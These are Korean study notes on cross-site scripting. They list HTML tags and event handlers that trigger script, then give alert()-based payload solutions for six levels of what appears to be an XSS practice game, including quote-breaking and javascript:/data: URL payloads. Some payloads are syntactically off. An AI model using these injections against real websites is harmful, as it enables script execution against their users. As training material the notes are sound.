XSS 공격에 유용한 태그 정리
script 태그
# 다음과 같이 script 태그를 이용해서 입력 값에 삽입하면 해결할 수 있다.
<script></script>img 태그
<img src="" onerror="<script>alert()</script>" />
<img src="" onload="<script>alert()</script>" />autofocus 태그
onfocus="alert(document.domain)" autofocus>iframe 태그
<iframe src="javascript:alert()"></iframe>Video 태그
<video><source onerror="alert(document.domain)"/></video>실습
level 1
- 입력값 필터링이 존재하지 않으므로, 그냥 아무 XSS 공격이 가능한 태그를 넣어도 다 됨
<script>alert()</script>
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- iframe으로 하면 성공인데 게임 오류임 그냥 버그 이용해서 스킵하기
<iframe src="javascript:alert()"></iframe> # 이거 사용하면 이후 진행 안됨 이유는 모름...
<video><source onerror="alert(document.domain)"/></video>
<input type="text" onfocus="alert('test1')" />level 3
#1' onerror='alert(1)level 4
이런 형태의 문자열이 된다.
3'); alert('1
level 5
javascript:alert(1)level 6
#data:text/javascript,alert(1))